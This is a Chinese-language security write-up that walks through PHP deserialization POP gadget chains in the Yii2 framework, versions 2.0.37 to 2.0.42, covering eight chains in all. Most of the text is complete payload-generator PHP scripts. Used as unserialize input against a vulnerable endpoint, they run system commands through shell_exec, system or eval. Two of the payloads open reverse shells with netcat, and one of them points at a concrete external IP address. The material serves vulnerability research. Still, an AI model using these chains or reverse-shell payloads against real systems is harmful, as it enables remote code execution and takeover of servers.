Yii2介绍

Yii 是一个高性能，基于组件的 PHP 框架，用于快速开发现代 Web 应用程序。即可以用于开发各种用 PHP 构建的 Web 应用。因为基于组件的框架结构和设计精巧的缓存支持，它特别适合开发大型应用， 如门户网站、社区、内容管理系统（CMS）、 电子商务项目和 RESTful Web 服务等

名字 Yii (读作 易)在中文里有“极致简单与不断演变”两重含义， 也可看作 Yes It Is! 的缩写。

Yii 当前有两个主要版本：1.1 和 2.0。 1.1 版是上代的老版本，现在处于维护状态。 2.0 版是一个完全重写的版本，采用了最新的技术和协议，包括依赖包管理器 Composer、PHP 代码规范 PSR、命名空间、Traits（特质）等等。 2.0 版代表新一代框架，是未来几年中我们的主要开发版本。

Yii 2.0.37

环境搭建

https://github.com/yiisoft/yii2/releases/tag/2.0.37 下载basic就行

修改`config\web.php`中的`cookieValidationKey`为任意值，作为`yii\web\Request::cookieValidationKey`的加密值，不设置会报错
入口URL http://localhost/Yii/basic/web/index.php

在controllers下创建TestController，编写反序列化入口
http://localhost/Yii/basic/web/index.php?r=test/hello
controllers的命名是：`名称Controller`，action的命名是：`action名称`

```php
<?php

namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller
{
    public function actionTest($data){
        return unserialize($data);
    }
}
```

POP1

从`yii\db\BatchQueryResult`这个类入手

```php
public function __destruct(){
    $this->reset();
}
public function reset(){
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}
```

`$this->_dataReader`可控，这里通过触发`__call`来利用，接下来全局搜索可利用的`__call`

`\basic\vendor\fzaninotto\faker\src\Faker\Generator.php`

```php
public function __call($method, $attributes){
    return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array()){
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}
```

```php
public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf( format: 'Unknown formatter "%s"', $formatter));
}
```

`$formatter`为`close`，`$arguments`为空。
这边的`getFormatter`的返回值是可控的，设置`$this->formatters['close']`为我们想要的返回值即可，但由于这边没有参数，因此只能无参地调用其他可利用的类的方法，只需返回一个数组即可，格式为`[对象，方法名]`

可以全局搜索`call_user_func`、`call_user_func_array`、`eval`等危险函数

`\basic\vendor\yiisoft\yii2\rest\CreateAction.php`

```php
public function run(){
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }
    // ...省略后面代码
}
```

这几个参数完全可控，`$this->checkAccess`设置为`shell_exec`、`system`等系统命令执行函数，`$this->id`设置为要执行的系统命令。

到此整条链子打通

```php
<?php

namespace yii\rest {

    class CreateAction
    {
        public $id;
        public $checkAccess;

        public function __construct()
        {
            $this->id = 'whoami';
            $this->checkAccess = 'shell_exec';
        }
    }
}

namespace Faker {

    use yii\rest\CreateAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = array(new
CreateAction(), 'run');
        }
    }
}
```

```php
namespace yii\db {

    use Faker\Generator;

    class BatchQueryResult
    {
        private $_dataReader;  // 调用$_dataReader的
__call方法

        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }

    echo urlencode(serialize(new BatchQueryResult()));
}
```

POP2

接POP1，找到close方法

`\basic\vendor\yiisoft\yii2\web\DbSession.php`

```php
public function close()
{
    if ($this->getIsActive()) {
        // prepare writeCallback fields before session closes
        $this->fields = $this->composeFields();
        YII_DEBUG ? session_write_close() : @session_write_close();
    }
}
```

```php
public function getIsActive()
{
    return session_status() === PHP_SESSION_ACTIVE;
}
```

这边只要PHP_SESSON开着就能进入if，一般情况下应该是开着的

跟进`composeFields`

```
protected function composeFields($id = null, $data = null)
{
    $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
    if ($id !== null) {
        $fields['id'] = $id;
    }
    if ($data !== null) {
        $fields['data'] = $data;
    }
    return $fields;
}
```

`$this->writeCallback`可控，但由于传进去的参数`$this`是对象，不能直接利用。

这里依旧构造`$this->writeCallback`为`[对象,方法名]`的形式来调用其他类的方法
还是利用之前找到的IndexAction类

```php
<?php
namespace yii\rest {
    class IndexAction
    {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess = 'system';
            $this->id = 'nc ip port -e /bin/sh';
        }
    }
}
namespace yii\web {

    use yii\rest\IndexAction;

    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
```

```
    class DbSession extends MultiFieldSession
    {
        public function __construct()
        {
            $this->writeCallback = [new IndexAction(),
"run"];
        }
    }
}
namespace yii\db {

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }

    echo urlencode(serialize(new BatchQueryResult()));
}
```

POP3

还是从`yii2/db/BatchQueryResult.php`入手，这次还是找可利用的`close`方法

`\basic\vendor\guzzlehttp\psr7\src\FnStream.php`

```
public function close(){
    return call_user_func($this->_fn_close);
}
```

`$this->_fn_close`可控，到这边只能执行无参方法，因此继续寻找恶意类

全局搜索`eval`

`\basic\vendor\phpunit\phpunit\src\Framework\MockObject\MockTrait.php`

```
public function generate(): string
{
    if (!\class_exists($this->mockName, false)) {
        eval($this->classCode);
    }

    return $this->mockName;
}
```

`$this->mockName`可控，`$this->classCode`可控。

`class_exists($this->mockName, false)`判断类是否定义过，因此`$this->mockName`设置为一个不存在的类名即可

到此整条链子打通

```
<?php

namespace PHPUnit\Framework\MockObject {
    class MockTrait
    {
        private $classCode;
        private $mockName;

        public function __construct()
        {
            $this->mockName = 'p4nic';
            $this->classCode = "system(whoami);";
        }
    }
}
```

```
namespace GuzzleHttp\Psr7 {

    use PHPUnit\Framework\MockObject\MockTrait;

    class FnStream
    {
        public $_fn_close;

        public function __construct()
        {
            $this->_fn_close = array(new MockTrait(),
'generate');
        }
    }
}

namespace yii\db {

    use GuzzleHttp\Psr7\FnStream;

    class BatchQueryResult
    {
        private $_dataReader;

        public function __construct()
        {
            $this->_dataReader = new FnStream();
        }
    }

    echo urlencode(serialize(new BatchQueryResult()));
}
```

```
<?php

class a
{
    public function __wakeup()
```

```php
    {
        echo "Wrong!!";
    }
}

class b
{
    public $test;

    public function __construct()
    {
        $this->test = new a();
    }
}
$res = serialize(new b());
unserialize($res);   // 打印出了Wrong!!
```

```php
public function __wakeup()
{
    throw new \LogicException( message: 'FnStream should never be unserialized');
}
```

有点奇怪，这里FnStream确实抛出了异常，但程序还是继续执行下去了，并且命令执行成功，当然页面还是回显了报错信息

PHP Warning – yii\base\ErrorException

Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP)

↳ Caused by: LogicException

FnStream should never be unserialized

in E:\wamp\www\Yii\basic\vendor\guzzlehttp\psr7\src\FnStream.php at line 61

Websites and Infrastructure team	
PHP Websites Team	Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers	Damien Seguy, Daniel P. Brown
Network Infrastructure	Daniel P. Brown
Windows Infrastructure	Alex Schoenmaker

PHP License


```
An Error occurred while handling another error:
yii\web\HeadersAlreadySentException: Headers already sent in xdebug://debug-eval(1) : eval()'d code(1) : eval()'d code on line 1. in E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\web\Response.php::
Stack trace:
#0 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\web\Response.php(339): yii\web\Response->sendHeaders()
#1 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\web\ErrorHandler.php(136): yii\web\Response->send()
#2 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\base\ErrorHandler.php(135): yii\web\ErrorHandler->renderException(Object(LogicException))
#3 [internal function]: yii\base\ErrorHandler->handleException(Object(LogicException))
#4 {main}
Previous exception:
LogicException: FnStream should never be unserialized in E:\wamp\www\Yii\basic\vendor\guzzlehttp\psr7\src\FnStream.php:61
Stack trace:
#0 [internal function]: GuzzleHttp\Psr7\FnStream->__wakeup()
#1 E:\wamp\www\Yii\basic\controllers\TestController.php(10): unserialize('O:23:"yii\\db\\Ba...')
#2 [internal function]: app\controllers\TestController->actionTest('O:23:"yii\\db\\Ba...')
#3 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\base\InlineAction.php(57): call_user_func_array(Array, Array)
#4 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\base\Controller.php(180): yii\base\InlineAction->runWithParams(Array)
#5 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\base\Module.php(528): yii\base\Controller->runAction('test', Array)
#6 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\web\Application.php(103): yii\base\Module->runAction('test/test', Array)
#7 E:\wamp\www\Yii\basic\vendor\yiisoft\yii2\base\Application.php(386): yii\web\Application->handleRequest(Object(yii\web\Request))
#8 E:\wamp\www\Yii\basic\web\index.php(12): yii\base\Application->run()
#9 {main}
```

绕过`__wakeup`：增加属性个数就行【只适用于某些PHP版本】

Yii 2.0.38

环境搭建：

`https://github.com/yiisoft/yii2/releases/tag/2.0.38`

Difff：

2.0.38给`yii\db\BatchQueryResult`类加了一个`__wakeup()`函数，`__wakeup`方法在类被反序列化时会自动被调用

```
public function __wakeup()
{
    throw new \BadMethodCallException( message: 'Cannot unserialize ' . __CLASS__);
}
```

POP4

`\basic\vendor\codeception\codeception\ext\RunProcess.php`

```
public function __destruct(){
    $this->stopProcess();
}
```

```php
public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}
```

`$this->processes`可控，这边将数组逆转，遍历数组，每个元素`$process`调用`isRunning`方法，这里依旧可以通过`__call`接上POP1的后半段链子

```php
<?php

namespace yii\rest {

    class CreateAction
    {
        public $id;
        public $checkAccess;

        public function __construct()
        {
            $this->id = 'whoami';
            $this->checkAccess = 'shell_exec';
        }
    }
}

namespace Faker {

    use yii\rest\CreateAction;

    class Generator
    {
        protected $formatters;
```

```
        public function __construct()
        {
            $this->formatters['isRunning'] = array(new
CreateAction(), 'run');
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes;

        public function __construct()
        {
            $this->processes = array(new Generator());
        }
    }
    echo urlencode(serialize(new RunProcess()));
}
```

POP5

`\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php`

```
public function __destruct(){
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}
```

。。。这不和Laravel5.1的一样?

```
public function clearAll($nsKey)
{
    if (array_key_exists($nsKey, $this->keys)) {
        foreach ($this->keys[$nsKey] as $itemKey => $null) {
            $this->clearKey($nsKey, $itemKey);
        }
        if (is_dir( filename: $this->path.'/'.$nsKey)) {
            rmdir( directory: $this->path.'/'.$nsKey);
        }
        unset($this->keys[$nsKey]);
    }
}
```

跟进`clearKey`，目前的关系`$this->key = array($nsKey=>array($itemKey,$someValue))`，因此上面和下面的if都能通过

```
public function clearKey($nsKey, $itemKey)
{
    if ($this->hasKey($nsKey, $itemKey)) {
        $this->freeHandle($nsKey, $itemKey);
        unlink( filename: $this->path.'/'.$nsKey.'/'.$itemKey);
    }
}
```

跟进`hasKey`

```
public function hasKey($nsKey, $itemKey)
{
    return is_file( filename: $this->path.'/'.$nsKey.'/'.$itemKey);
}
```

`$this->path`可控，这边若`$this->path`设置为对象，拼接字符串时会自动调用对象的`__toString`方法，因此转为寻找可利用的`__toString`方法

`\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php`

```
public function __toString()
{
    return $this->__dom__->saveXML();
}
```

`$this->__dom__`可控，这边仍可通过`__call`接上POP1的后半段链子

(除了这个，还有很多可控可以触发`__call`的)

```
<?php

namespace yii\rest {

    class CreateAction
    {
        public $id;
        public $checkAccess;

        public function __construct()
        {
            $this->id = '9';
            $this->checkAccess = 'phpinfo';
        }
    }
}

namespace Faker {

    use yii\rest\CreateAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['saveXML'] = array(new
CreateAction(), 'run');
```

```
        }
    }
}
namespace Codeception\Util{

    use Faker\Generator;

    class XmlBuilder
    {
        protected $__dom__;

        public function __construct(){
            $this->__dom__ = new Generator();
        }
    }
}
namespace {

    use Codeception\Util\XmlBuilder;

    class Swift_KeyCache_DiskKeyCache
    {
        private $path;
        private $keys;

        public function __construct()
        {
            $this->keys = ['p4nic' => array('p4nic' =>
'p4nic')];
            $this->path = new XmlBuilder();
        }
    }

    echo urlencode(serialize(new
Swift_KeyCache_DiskKeyCache()));
}
```

注意：Yii2.042修复了这条链子，添加了`__wakeup`方法`$this->keys`置空

```
public function __destruct()
{
    foreach ($this->keys as $nsKey => $null) {
        $this->clearAll($nsKey);
    }
}

public function __wakeup()
{
    $this->keys = [];
}
```

本地测试一下：

```php
<?php
$keys = [];
foreach ($keys as $key => $value){
    if(array_key_exists($key, $keys)){
        echo 'entered';
    }
}
```

什么都没打印出来，此链不能继续。

Yii 2.0.42

环境搭建：`https://github.com/yiisoft/yii2/releases/tag/2.0.42`

Yii 2.0.42 只有 RunProcess类没有修复

POP6

入口依旧是RunProcess的`__destruct`

```php
public function __destruct(){
    $this->stopProcess();
}
```

```php
public function stopProcess()
{
    foreach (array_reverse($this->processes) as $process) {
        /** @var $process Process  **/
        if (!$process->isRunning()) {
            continue;
        }
        $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
        $process->stop();
    }
    $this->processes = [];
}
```

`$this->processes`可控，这边将数组逆转，遍历数组，每个元素`$process`调用`isRunning`方法，接着找可利用的`__call`方法

`\basic\vendor\fakerphp\faker\src\Faker\ValidGenerator.php`

```php
public function __call($name, $arguments)
{
    $i = 0;

    do {
        $res = call_user_func_array([$this->generator, $name], $arguments);
        ++$i;

        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf( format: 'Maximum retries of
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}
```

好家伙，又是Laravel。。。

`$this->generator`可控，这边为了触发call_user_func_array需要将其设置为一个类，`$name`固定为`isRunning`，不好利用。

考虑`call_user_func($this->validator, $res)`，`$this->validator`可控，`$res`为上面`call_user_func_array`的返回值，此时若能找到一个对象，其一个`__call`方法可以返回我们指定的字符串，就可以利用这边的`call_user_func($this->validator, $res)`

`\basic\vendor\fakerphp\faker\src\Faker\DefaultGenerator.php`

```
public function __call($method, $attributes)
{
    return $this->default;
}
```

`$this->default`可控。现在开始构造

```php
<?php
namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct(){
            $this ->default = 9;
        }
    }
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct()
        {
            $this->generator = new DefaultGenerator();
            $this->validator = 'phpinfo';
            $this->maxRetries = 1;
        }
    }
}
```

```php
namespace Codeception\Extension{

    use Faker\ValidGenerator;

    class RunProcess
    {
        private $processes;

        public function __construct(){
            $this->processes = array(new
ValidGenerator());
        }
    }

    echo urlencode(serialize(new RunProcess()));
}
```

POP7

依旧以上面的`RunProcess`的`__destruct`为入口

`\basic\vendor\fakerphp\faker\src\Faker\UniqueGenerator.php`

```php
public function __call($name, $arguments)
{
    if (!isset($this->uniques[$name])) {
        $this->uniques[$name] = [];
    }
    $i = 0;

    do {
        $res = call_user_func_array([$this->generator, $name], $arguments);
        ++$i;

        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf( format: 'Maximum retries of %
        }
    } while (array_key_exists(serialize($res), $this->uniques[$name]));
    $this->uniques[$name][serialize($res)] = null;

    return $res;
}
```

和POP5的`Validator`类似。`$this->generator`可控，`$name`固定为`isRunning`，`$arguments`为空，`$res`可控。但是和POP5相比没有另外的`call_user_func`，因此只能继续把这个类当作跳板。

发现下面有`serialize`函数，考虑利用`__sleep`方法

`\basic\vendor\symfony\string\LazyString.php`

```
public function __sleep(): array
{
    $this->__toString();

    return ['value'];
}
```

```
public function __toString()
{
    if (\is_string($this->value)) {
        return $this->value;
    }

    try {
        return $this->value = ($this->value)();
```

这边本地做个测试

```php
<?php
class a{
    public function test(){
        echo 'function called';
    }
}
$value = [new a(), 'test'];
($value)();  // 打印function called
```

成功执行对象中的方法！！！
因此接着寻找某个类中可利用的无参方法

```
public function run()
{
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    return $this->prepareDataProvider();
}
```

这些参数都可控

到此整条链子打通

```
<?php
namespace yii\rest {
    class IndexAction
    {
        public $checkAccess;
        public $id;

        public function __construct()
        {
            $this->checkAccess = 'phpinfo';
            $this->id = 9;
        }
    }
}
namespace Symfony\Component\String {

    use yii\rest\IndexAction;

    class LazyString
    {
        private $value;
```

```
        public function __construct(){
            $this->value = [new IndexAction(), 'run'];
        }
    }
}


namespace Faker{

    use Symfony\Component\String\LazyString;

    class DefaultGenerator
    {
        protected $default;
        public function __construct(){
            $this->default = new LazyString();
        }
    }
    class UniqueGenerator
    {
        protected $generator;
        protected $maxRetries;
        public function __construct(){
            $this->generator = new DefaultGenerator();
            $this->maxRetries = 1;
        }
    }
}
namespace Codeception\Extension{

    use Faker\UniqueGenerator;

    class RunProcess{
        private $processes;
        public function __construct(){
            $this->processes = array(new
UniqueGenerator());
        }
```

```
    }

    echo urlencode(serialize(new RunProcess()));
}
```

POP8

还是以RunProcess类的`__destruct`为入口

`vendor\phpspec\prophecy\src\Prophecy\Prophecy\ObjectProphecy.php`

```
public function __call($methodName, array $arguments)
{
    $arguments = new ArgumentsWildcard($this->revealer->reveal($arguments));

    foreach ($this->getMethodProphecies($methodName) as $prophecy) {
        $argumentsWildcard = $prophecy->getArgumentsWildcard();
        $comparator = $this->comparatorFactory->getComparatorFor(
            $argumentsWildcard, $arguments
        );
```

自己找的时候这个就瞄了一眼，以为没有可利用的点，还是太年轻了这里别直接ctrl+左键跟进reveal，会发现啥都不能利用。应该是PHPSTORM自动给你识别成别的类的reveal方法，在当前文件下搜索reveal

```
public function reveal()
{
    $double = $this->lazyDouble->getInstance();

    if (null === $double || !$double instanceof ProphecySubjectInterface) {
        throw new ObjectProphecyException(
            message: "Generated double must implement ProphecySubjectInterfac
            'It seems you have wrongly configured doubler without required C
            $this
        );
    }

    $double->setProphecy($this);

    return $double;
}
```

跟进`getInstance`

```php
public function getInstance()
{
    if (null === $this->double) {
        if (null !== $this->arguments) {
            return $this->double = $this->doubler->double(
                $this->class, $this->interfaces, $this->arguments
            );
        }

        $this->double = $this->doubler->double($this->class, $this->interfaces);
    }

    return $this->double;
}
```

跟进`double`

```php
public function double(ReflectionClass $class = null, array $interfaces, array $args = null)
{
    foreach ($interfaces as $interface) {
        if (!$interface instanceof ReflectionClass) {
            throw new InvalidArgumentException(sprintf(
                format: "[ReflectionClass \$interface1 [, ReflectionClass \$interface2]] array expected as\n".
                "a second argument to `Doubler::double(...)`, but got %s.",
                ...values: is_object($interface) ? get_class($interface).' class' : gettype($interface)
            ));
        }
    }

    $classname  = $this->createDoubleClass($class, $interfaces);
    $reflection = new ReflectionClass($classname);
```

这边`$args`、`$interfaces`要求是array，`$class`要求是反射类对象。`ReflectionClass`类，该类是PHP中的反射类，通过`new ReflectionClass($classname)`可以构建一个类的反射类，这里的if判断中会判断`$interface`是否是该反射类的实例化对象或者是否实现了该类中的某个接口。都知道的php有一个异常处理类`Exception`，用`ReflectionClass`类构建异常处理类的反射类，就能够避免上面代码中异常抛出

本地验证一下：

```php
<?php
$interface = new ReflectionClass('Exception');
if($interface instanceof ReflectionClass){
    echo 'yes';
}
```

继续跟进`createDoubleClass`

```
protected function createDoubleClass(ReflectionClass $class = null, array $interfaces)
{
    $name = $this->namer->name($class, $interfaces);
    $node = $this->mirror->reflect($class, $interfaces);

    foreach ($this->patches as $patch) {
        if ($patch->supports($node)) {
            $patch->apply($node);
        }
    }

    $this->creator->create($name, $node);

    return $name;
}
```

这里的`$name`和`node`貌似不可控，但可以利用前面找到的DefaultGenerator类，调用其`__call`方法返回任意指定的东西`$this->patches`不影响继续走下去，跟进`create`

```
public function create($classname, Node\ClassNode $class)
{
    $code = $this->generator->generate($classname, $class);
    $return = eval($code);
```

根据方法中的参数来看，$node需要为`Node\ClassNode`类对象

同理这边的`$code`也可以通过DefaultGenerator类，调用其`__call`方法返回我们指定的字符串

到此整条链子打通

```
<?php
namespace Faker{
    class DefaultGenerator
    {
        protected $default;
        public function __construct($default){
            $this->default = $default;
        }
    }
}
namespace Prophecy\Doubler\Generator{
```

```
    use Faker\DefaultGenerator;

    class ClassCreator
    {
        private $generator;
        public function __construct(){
            $this->generator = new
DefaultGenerator("system('nc 114.116.22.181 3389 -e
/bin/sh');");
        }
    }
}
namespace Prophecy\Doubler\Generator\Node{
    class ClassNode{}
}
namespace Prophecy\Doubler{

    use Faker\DefaultGenerator;
    use Prophecy\Doubler\Generator\ClassCreator;
    use Prophecy\Doubler\Generator\Node\ClassNode;

    class Doubler
    {
        private $creator;
        private $mirror;
        private $namer;
        public function __construct(){
            $this->namer = new
DefaultGenerator('p4nic');
            $this->creator = new ClassCreator();
            $this->mirror = new DefaultGenerator(new
ClassNode());
        }
    }

    class LazyDouble
    {
```

```
        private $doubler;
        private $class;
        private $interfaces;
        private $arguments;
        public function __construct(){
            $this->doubler = new Doubler();
            $this->interfaces[] =  new
\ReflectionClass('Exception');
            $this->class = new
\ReflectionClass('Exception');
            $this->arguments = array('p4nic'=>'p4nic');
        }
    }
}
namespace Prophecy\Prophecy{

    use Prophecy\Doubler\LazyDouble;

    class ObjectProphecy
    {
        private $lazyDouble;
        private $revealer;
        public function __construct($a){
            $this->lazyDouble = new LazyDouble();
            $this->revealer = $a;
        }
    }
}
namespace Codeception\Extension {

    use Prophecy\Prophecy\ObjectProphecy;

    class RunProcess
    {
        private $processes;

        function __construct()
        {
```

```
            $a = new ObjectProphecy('1');
            $this->processes[] = new
ObjectProphecy($a);
        }
    }

    echo urlencode(serialize(new RunProcess()));
}
```

注意：PHP7.4不让序列化反射类，这里需要降低版本